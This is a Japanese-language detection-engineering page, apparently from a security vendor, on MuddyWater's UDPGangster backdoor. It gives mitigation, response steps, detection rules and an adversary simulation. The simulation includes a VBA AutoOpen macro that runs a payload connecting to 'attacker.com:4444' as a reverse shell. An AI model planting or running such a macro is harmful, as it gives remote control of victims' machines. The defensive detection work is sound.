UDPGangster Attacks Spread Across Multiple Countries
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
UDPGangsterは、MuddyWater脅威グループによって利用されるUDPベースのバックドアで、Windowsホストをリモートから制御します。初期の侵入は、悪意のあるWordドキュメントがVBAマクロを使用してペイロードをドロップし起動することで発生します。このマルウェアは広範な分析回避チェックを実行し、ユーザーのAppDataディレクトリに自分自身をコピーし、実行キーを作成することで持続性を維持します。最近のキャンペーンでは、トルコ、イスラエル、アゼルバイジャンのユーザーを対象にしたことが観察されています。
調査
FortiGuard Labsは、フィッシングメール、組み込まれたVBAマクロ、ドロップされた実行ファイル、およびその持続性技術を調査しました。ファイルパス、レジストリの実行エントリ、ミューテックス名、関連するC2インフラストラクチャといったインジケーターを抽出しました。IPアドレス、ドメイン、およびPDBパスを相関させることで、解析者はこの活動を以前のMuddyWater作戦に結び付けることができました。
緩和策
緩和策として、マクロのブロックまたは強固なユーザー教育によるマクロの実行防止、およびパブリックまたはユーザープロファイルフォルダーへの不審なファイル書き込みや実行レジストリキーの変更を監視するエンドポイント防御の展開が含まれます。ネットワークチームはポート1269での異常なUDPトラフィックを監視し、既知の悪意のあるIPアドレスとドメインをブロックしてC2チャネルを妨害するべきです。
対応策
UDPGangsterの活動が検出された場合、影響を受けたエンドポイントを隔離し、揮発性メモリと完全ディスクイメージを収集し、バックドアバイナリと関連するアーティファクトを探してください。特定されたC2インフラストラクチャをブロックし、追加の侵害されたシステムを発見するために徹底したフォレンジック解析を実施し、悪意のあるマクロドキュメントとバックドアペイロードの両方を検出するためにセキュリティ署名を更新してください。
攻撃フロー
検出
UDPポート1269によるUDPGangster C2通信の検出 [Windowsネットワーク接続]
表示
UDPGangsterリモートコマンド実行 via CreateProcessA と cmd.exe [Windowsプロセス作成]
表示
UDPGangsterミューテックス作成の検出 [Windows Sysmon]
表示
IOC(SourceIP)を検出する: UDPGangsterキャンペーンは複数の国をターゲットにしています
表示
IOC(DestinationIP)を検出する: UDPGangsterキャンペーンは複数の国をターゲットにしています
表示
シミュレーション実行
前提条件: テレメトリー & ベースラインの事前チェックが合格していること。
根拠: このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドとナラティブは、識別されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。
-
攻撃の解説 & コマンド:
攻撃者は、VBAマクロを含む悪意のあるWordドキュメントを配布します。このマクロはWindows APICreateProcessAを呼び出してcmd.exeを生成し、UDPGangsterのペイロード (udp_gangster.exe)を実行します。ペイロードは攻撃者のC2サーバーへのリバースシェルを確立します。マクロはコマンドラインで文字列 “CreateProcessA” とリテラルcmd.exeを明示的に渡すため、検出ルールは一致します。-
VBAマクロ(簡略化) – API呼び出しを示しています:
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _ (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _ ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _ ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _ ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _ ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long Sub AutoOpen() Dim cmdLine As String cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444""" Dim si As STARTUPINFO Dim pi As PROCESS_INFORMATION Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi) End Sub -
マクロを展開し、ドキュメントを開き、マクロを実行させます。結果として得られるプロセス作成イベントには次の内容が含まれます:コマンドライン: cmd.exe /c “%TEMP%udp_gangster.exe -c attacker.com:4444”
CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
-
-
回帰テストスクリプト: 次のPowerShellスクリプトは、Wordドキュメントを必要とせずに正確なテレメトリーを再現します。ネイティブWin32 API
CreateProcessA経由で呼び出しますAdd-Type.# 回帰テスト:cmd.exeによる直接のCreateProcessA呼び出し $source = @" using System; using System.Runtime.InteropServices; public class NativeMethods { [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ Add-Type $source $si = New-Object NativeMethods+STARTUPINFO $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO]) $pi = New-Object NativeMethods+PROCESS_INFORMATION $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"' $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $result) { Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())" } else { Write-Host "CreateProcessA succeeded, command line logged." } -
クリーンアップコマンド: シミュレーション中に作成されたアーティファクトを削除します。
# シミュレーションによって生成された一時ログファイルを削除 Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue